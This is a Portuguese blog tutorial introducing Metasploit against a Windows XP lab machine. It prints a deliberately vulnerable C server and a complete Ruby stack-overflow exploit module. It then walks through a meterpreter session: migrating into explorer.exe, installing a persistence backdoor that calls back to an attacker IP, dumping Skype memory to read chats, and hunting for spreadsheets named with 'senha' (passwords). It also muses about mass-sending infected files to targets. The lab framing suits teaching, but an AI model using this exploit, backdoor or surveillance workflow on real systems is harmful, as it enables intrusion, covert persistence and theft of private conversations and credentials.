sábado, 25 de setembro de 2010

Introduçao ao Metasploit - Parte 01

Você pode baixar o pdf deste artigo em:

www.exploit-db.com

Mais um artigo sobre a utilização do framework Metasploit, vamos ver alguns passos básicos, como a exploração de um software vulneravel, criação de um backdoor, realizar o dump da memória RAM do alvo, verificar as possiveis conversas realizados pelo aplicativo Skype, entre outros. Let`s go!



Requisitos

Para este artigo, utilizei o seguinte ambiente e softwares:

1 - Backtrack 4 R1 instalado no HD (Hard Disc).
-----> Não ensinarei como instalar o Backtrack no HD, espero que você saiba, caso não, veja mais em Backtrack Hard Drive Install e para baixar a última versão do Backtrack, basta acessar este link e fazer o download:

BackTrack 4 R1 Release ISO
http://www.backtrack-linux.org/downloads/

2 - Virtualbox - Máquina virtual com Windows XP SP3.
-----> Já existe vários artigos aqui mesmo no VoL para a instalação do Virtualbox no linux, mais segue um passo-a-passo super rápido para instalar.

Abra um shell e digite:

root@bt:~# wget -c http://download.virtualbox.org/virtualbox/3.2.8/VirtualBox-3.2.8-64453-Linux_x86.run

Após o download, dê a permissão de execução:

root@bt:~# chmod +x Virtualbox-3.2.8-64453-Linux_x86.run

Em seguida, basta executá-lo:

root@bt:~# ./Virtualbox-3.2.8-64453-Linux_x86.run

Digite "yes" todas as vezes que lhe for perguntado. Pronto, seu virtualbox já está instalado. Foi criado um atalho em:

Menu Dragon --> System --> Oracle VM VirtualBox - Virtual Machine

Resta apenas criar a máquina virtual com o Windows XP, na qual não explicarei neste artigo.

3 - Software Skypeex.
-----> Para baixar esta ferramenta, basta visitar o link abaixo e fazer o download. Explicarei nos próximos capitulos a sua utilização, não sejam apressados.

Link: http://csitraining.co.uk/skypex.aspx

4 - Programa vulneravel em linguagem C, compile em seu Windows e o execute. Segue o código:

http://pastebin.com/raw.php?i=YhgSK5q2

#include
#include

#include


//load windows socket
#pragma comment(lib, "wsock32.lib")

//Define Return Messages
#define SS_ERROR 1
#define SS_OK 0

void pr( char *str)
{
char buf[500]="";
strcpy(buf,str);
}
void sError(char *str)
{
MessageBox (NULL, str, "socket Error" ,MB_OK);
WSACleanup();
}

int main(int argc, char **argv)
{

WORD sockVersion;
WSADATA wsaData;

int rVal;
char Message[5000]="";
char buf[2000]="";

u_short LocalPort;
LocalPort = 200;

//wsock32 initialized for usage
sockVersion = MAKEWORD(1,1);
WSAStartup(sockVersion, &wsaData);

//create server socket
SOCKET serverSocket = socket(AF_INET, SOCK_STREAM, 0);

if(serverSocket == INVALID_SOCKET)
{
sError("Failed socket()");
return SS_ERROR;
}

SOCKADDR_IN sin;
sin.sin_family = PF_INET;
sin.sin_port = htons(LocalPort);
sin.sin_addr.s_addr = INADDR_ANY;

//bind the socket
rVal = bind(serverSocket, (LPSOCKADDR)&sin, sizeof(sin));
if(rVal == SOCKET_ERROR)
{
sError("Failed bind()");
WSACleanup();
return SS_ERROR;
}

//get socket to listen
rVal = listen(serverSocket, 10);
if(rVal == SOCKET_ERROR)
{
sError("Failed listen()");
WSACleanup();
return SS_ERROR;
}

//wait for a client to connect
SOCKET clientSocket;
clientSocket = accept(serverSocket, NULL, NULL);
if(clientSocket == INVALID_SOCKET)
{
sError("Failed accept()");
WSACleanup();
return SS_ERROR;
}

int bytesRecv = SOCKET_ERROR;
while( bytesRecv == SOCKET_ERROR )
{
//receive the data that is being sent by the client max limit to 5000 bytes.
bytesRecv = recv( clientSocket, Message, 5000, 0 );

if ( bytesRecv == 0 || bytesRecv == WSAECONNRESET )
{
printf( "\nConnection Closed.\n");
break;
}
}

//Pass the data received to the function pr
pr(Message);

//close client socket
closesocket(clientSocket);
//close server socket
closesocket(serverSocket);

WSACleanup();

return SS_OK;
}


Não sabe compilar no windows? Procure por Dev-C++ ou LCC-Win32 no google que rápidinho você passará a saber! :)

5 - E finalmente, 6 latinhas de cerveja.
-----> Qualquer buteco de esquina você acha! :)


Adicionando Exploit ao MSF

Para adicionarmos um exploit ao metasploit, primeiramente devemos ter em mente as seguintes perguntas, para motivo de organização:

O que estou adicionando? Para qual sistema operacional ele é útil? O que ele explora?

Entendeu mais ou menos?

Vou explicar. Vamos para o diretório padrão do msf, para isso digite:
root@bt:~# cd /pentest/exploits/framework3/ root@bt:/pentest/exploits/framework3# ls
HACKING documentation lib msfcli msfelfscan msfmachscan msfpescan msfweb test
README erros.txt lista.txt msfconsole msfencode msfopcode msfrpc plugins tools
data external modules msfd msfgui msfpayload msfrpcd scripts
root@bt:/pentest/exploits/framework3#


Estamos no diretório padrão do msf (Na verdade o diretório padrão fica em /opt/metasploit3/msf3/, este diretório é apenas um link simbólico.).
Agora entre no diretório modules:

root@bt:/pentest/exploits/framework3# cd modules/

Agora em exploits. (O que estou adicionando?)

root@bt:/pentest/exploits/framework3/modules# cd exploits/

Em windows. (Para qual sistema operacional ele é útil?)

root@bt:/pentest/exploits/framework3/modules/exploits# cd windows/

E por fim em misc. (O que ele explora?)

root@bt:/pentest/exploits/framework3/modules/exploits/windows# cd misc/

Ok, agora vamos adicionar nosso exploit neste diretório que estamos. Vamos dar o nome de "exploit_stackoverflow.rb". A extensão ".rb" significa que o exploit foi desenvolvido na linguagem Ruby. Utilizarei o nano, mais utilize o editor de sua preferência.

root@bt:/pentest/exploits/framework3/modules/exploits/windows/misc# nano exploit_stackoverflow.rb

Agora insira o exploit abaixo:

http://pastebin.com/raw.php?i=H26uL5ih

#
#
# Custom metasploit exploit for vulnserver.c
# Written by Peter Van Eeckhoutte
#
#
require 'msf/core'

class Metasploit3 < info =" {})"> 'Custom vulnerable server stack overflow',
'Description' => %q{
This module exploits a stack overflow in a
custom vulnerable server.
},
'Author' => [ 'Peter Van Eeckhoutte' ],
'Version' => '$Revision: 9999 $',
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1400,
'BadChars' => "\x00\xff",
},
'Platform' => 'win',

'Targets' =>
[
['Windows XP SP3 En',
{ 'Ret' => 0x7c874413, 'Offset' => 504 } ],
['Windows 2003 Server R2 SP2',
{ 'Ret' => 0x71c02b67, 'Offset' => 504 } ],
],
'DefaultTarget' => 0,

'Privileged' => false
))

register_options(
[
Opt::RPORT(200)
], self.class)
end

def exploit
connect

junk = make_nops(target['Offset'])
sploit = junk + [target.ret].pack('V') + make_nops(50) + payload.encoded
sock.put(sploit)

handler
disconnect

end

end


Créditos Exploit:
"Peter Van Eeckhoutte"

Salve com "Ctrl + X", informe que quer salvar pressionando Y e ENTER.

Ok, se ocorreu tudo certo aqui, basta abrirmos o msfconsole e ver nosso exploit recém adicionado.

root@bt:/pentest/exploits/framework3/modules/exploits/windows/misc# msfconsole

Veja figura abaixo.



Agora vamos procurar pelo exploit "exploit_stackoverflow", para isso digitamos o comando search. (Óbvio não?). Veja na figura abaixo.



Explorando

Na máquina windows, execute o programa vulnerável. Para checarmos se está funcionando direitinho, basta um simples scan usando o nmap em nosso alvo, procurando pela porta 200, que é a porta que o nosso programa vulnerável "escuta".



Como pode ver acima, esta correndo tudo bem. Agora vamos usar o exploit que acabamos de adicionar para "ganharmos" acesso ao alvo.



Como podem ver, conseguimos explorar a vulnerabilidade do software e injetar as dll`s do meterpreter na memória RAM do nosso alvo.

Experimente digitar "ipconfig" e verá o IP do micro em que estamos. Logo em seguida, digite "ps" e verá todos os processos atuais no alvo.



Procure sempre migrar para um processo estável, pois dependendo do método utilizado para a intrusão no mundo real, o usuário que está utilizando o micro alvo, pode perceber algum "travamento" no software e fechá-lo. Para isso basta usar o comando "migrate" com a ajuda do "ps" mostrado acima. Procure pelo PID associado ao processo explorer.exe, que neste caso é o 1080.



Obs.: Em cada micro o PID poderá sofrer alterações.

DICA:

Durante a execução do exploit, podemos utilizar uma opção avançada para que faça a migração de processo automaticamente, nos poupando ter que digitar manualmente. Já imaginou se você enviar diversos arquivos pdfs, executáveis, arquivos xls/doc, etc, infectados para diversos alvos e tenha que migrar de processo em cada um? Não seria bom. Para isso podemos utilizar a opção "AutoRunScript", veja na figura abaixo.



Ok, vamos para a próxima parte!


Backdoor

Para que possamos continuar com o acesso ao alvo futuramente, precisamos instalar um backdoor, para isso vamos utilizar o script meterpreter "persistence", já comentei sobre ele em outro artigo.

Passando o parâmetro -h, ele nos mostra as opções disponíveis deste script. Veja abaixo.



Agora vamos utilizá-lo passando o parametro -X, veja na imagem e tente entender o que aconteceu olhando a saida do comando.



O comando acima criará um arquivo executável na maquina destino, a opção -X serve para que o arquivo criado seja executado durante o boot da máquina destino, vejam onboot=true. Repare na saída do comando o endereço IP local da máquina do atacante e que ela escutará na porta 4444, que é a padrão, podemos alterar a porta padrão para outra que nos convenha usando a opção -p seguido do número da porta, exemplo, -p 5555.

Veja que foi feito o upload do executável em C:\DOCUME~1\espreto\CONFIG~1\Temp\TcDWaEUCyFZC.vbs e foi identificado com o PID 728.

E em seguida foi criado e instalado um arquivo autorun na seguinte chave do registro HKLM\Software\Microsoft\Windows\CurrentVersion\Run\tubTxZTznuuT.

Na ultima linha, ele nos da a opção para desfazer do "backdoor" que acabamos de criar, basta executar o comando conforme é mostrado. E é exatamente isso que vamos fazer agora, remover o backdoor recente instalado.



Mais Roberto, você nem mostrou como funciona na prática este backdoor!! Calma, basta acessar o outro artigo do VoL para ver como fazer isso.

http://www.vivaolinux.com.br/artigo/Metasploit-Exploitation/?pagina=6

Agora, vamos imaginar a seguinte situação: Acabamos de executar o script "persistence" usando a opção -X do micro com IP 192.168.1.181,certo? E se eu quiser conectar ao alvo de outro IP? Digamos que do IP 172.16.10.10? Bom, lembra do parâmetro -h? Utilize-o para visualizar novamente os parâmetros. Veja a imagem abaixo.



Com a opção "-U" o nosso agente será executado quando o usuário fizer o logon.
Parâmetro "-i 10" irá tentar a conexão com o IP especificado do atacante a cada 10 segundos, este valor pode ser alterado.
Parâmetro "-p 3773" especifica em que porta do micro do atacante, o metasploit estará escutando, neste caso na porta 3773.
E por último o parâmetro "-r 172.16.10.10" que especifica o IP que o atacante utiliza o metasploit conectar de volta.
As linhas seguintes, seguem a mesma linha de raciocínio quando foi usado a opção "-X".

Para usar o comando acima, basta alterar o IP 172.16.10.10 para o seu IP do micro (ou VM) executando o Backtrack/Metasploit.

Ok, agora desconecte desta atual sessão no meterpreter usando o comando "exit -y" e vamos utilizar o multi/handler para conectarmos novamente em nosso alvo, só que agora utilizando nosso backdoor.



E voilà! Temos acesso a shell meterpreter novamente. Vamos supor que o usuário ao abrir o gerenciador de tarefas do windows, note o processo "wscript.exe" suspeito e o finaliza (Acho bem improvável, mais...)! Perdemos a conexão "momentâneamente" com o alvo. Sendo assim recomendo migrar para o processo "explorer.exe" para que também possamos utilizar outros scripts que só funcionam estando neste processo. Vamos utilizar o "AutoRunScript", para isso desconecte novamente do meterpreter, saia também do console do msf e execute o metasploit desde o inicio.



Veja a imagem acima e repare que realizou exatamente o que queriamos.

Notaram que tivemos que digitar diversas vezes os comandos para conectarmos em nosso alvo? E se pudessemos automatizar isso digitando apenas uma vez? Ou apenas para fazer uma ou outra alteração?
Então vamos utilizar um recurso chamado "resource file", basta abrir seu editor de texto favorito e digitar os comandos linha por linha, como abaixo.



Depois de editado, basta executar da seguinte forma.



Tudo certo até aqui?

Process Dumping

De posse da shell meterpreter, vamos executar o script "process_dumping" em cima do processo do Skype. Vamos ver se a gente consegue achar algumas conversas?

Ok, no console no meterpreter, digitamos "run process_dumping -n Skype.exe" ou "run process_dumping -p PID" onde você deverá trocar o PID para o valor correto. Não sabe como ver isso? Basta executar o comando "ps", veja abaixo.



Neste caso, usarei especificando o PID

meterpreter> run process_dumping -p 976



Esperamos o termino e ele nos diz onde foi salvo o dump.



Pronto! Após o termino, vamos abrir uma nova shell e deixar o dump gerado mais "legível", para isso utilizamos o comando "strings", veja abaixo.



root@bt:~# cat dumping_skype.txt | grep "#robertoespreto" | more

Basta trocar "robertoespreto" pelo login correto.

Existe também um software chamado Skypeex, com ele você poderá visualizar de uma forma mais amigável este arquivo .txt. Segue o link para auto-estudo.

http://csitraining.co.uk/skypex.aspx


Procurando por arquivos.

Ok, vamos conectar novamente em nosso alvo para procurarmos arquivos "interessantes". Utilize a forma que achar melhor para se conectar novamente, digitando todos os comandos ou através do arquivo resource file, fica a seu critério! :)

Certo, de posse da shell meterpreter novamente, vamos usando o comando "search" para procurarmos por extensões conhecidas de arquivos, por exemplo, .xls do excel. Use o "-h" para visualizar os parâmetros do search.



Ok, como já disse, vamos procurar por arquivos criados com o excel, ou seja, os arquivos que tenha extensão .xls. Veja na figura abaixo.



Os parâmetros:

A opção "-d c:\\" diz que vamos procurar a partir da unidade C:.
A opção "-f *.xls" diz que vamos procurar por todos os arquivos que tiver a extensão .xls.
A opção "-r true" diz que a procura incluirá todos os subdiretórios além do atual.

Agora, eu quero pesquisar somente os arquivos .xls que esteja na area de trabalho do alvo. Eu também sei que uma parte do nome do arquivo possui a palavra "senha". Como ficaria a sintaxe?



Usem a imaginação, procurem por outras extensões. :)

Guardem estes pequenos conceitos deste artigo para continuarmos na parte 2.
Acabou sua cerveja quando chegou aqui? Ah, busque mais e seja feliz! Ah, vale ir de refrigerante também.



Dúvidas? Sugestões?



Roberto Soares (espreto)
codesec.blogspot.com
www.backtrack.com.br
robertoespreto@gmail.com
espreto@backtrack.com.br
Follow @espreto
®

Finish!

4 comentários:

To get the latest update of me and my works

>> <<